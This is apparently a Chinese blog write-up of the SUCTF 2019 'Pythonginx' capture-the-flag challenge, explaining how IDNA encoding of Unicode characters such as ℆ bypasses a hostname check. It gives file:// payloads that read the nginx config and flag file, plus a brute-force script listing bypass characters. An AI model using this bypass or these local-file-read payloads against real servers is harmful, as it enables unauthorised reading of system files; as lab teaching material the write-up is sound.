[SUCTF 2019]Pythonginx 1

[SUCTF 2019]Pythonginx 1

打开环境,我们获得一串源码

@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl(): 
    url = request.args.get("url") 
    host = parse.urlparse(url).hostname  #解析主机名
    if host == 'suctf.cc': 
        return "我扌 your problem? 111" 
    parts = list(urlsplit(url)) 
    host = parts[1] 
    if host == 'suctf.cc': 
        return "我扌 your problem? 222 " + host 
    newhost = [] 
    for h in host.split('.'): 
        newhost.append(h.encode('idna').decode('utf-8')) 
        parts[1] = '.'.join(newhost) #去掉 url 中的空格 
        finalUrl = urlunsplit(parts).split(' ')[0] # 将主机名再次组合成 url
        host = parse.urlparse(finalUrl).hostname 
        if host == 'suctf.cc': 
            return urllib.request.urlopen(finalUrl).read() 
        else: 
            return "我扌 your problem? 333" 

代码审计
前两个 if 判断 host是否含有 suctf.cc 如果有就报错,经过 utf-8 解码 idna 编码 之后传入到 urlunsplit函数 组合成url ,再用 if 和suctf.cc进行一次比较 如果相同 就 进行读取。

我们先了解下 idna
idna 国际化域名应用,国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以
ASCII字符串存储。
.
℆这个字符,如果使用python3进行idna编码的话
print(‘℆’.encode(‘idna’))
结果
b’c/u’
如果再使用utf-8进行解码的话
print(b’c/u’.decode(‘utf-8’))
结果
c/u
通过这种方法可以绕过本题
参考文章(上面一段话的原出处实在是找不见了)

nginx文件存放的地方

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

所以
我们可以利用python3进行idna编码这一特性 对配置文件目录进行访问
payload

getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

在这里插入图片描述
访问 flag
对 ℆ 进行 url编码 %E2%84%86

file://suctf.c%E2%84%86sr/fffffflag

访问 获得 flag

在这里插入图片描述

在本题中 还有很多师傅 直接使用脚本 直接爆破 能够encode成c的特殊字符

大佬使用的脚本:

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

爆破出
str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

随便找一个进行访问即可

getUrl?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
file://suctf.cℂ/usr/fffffflag
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值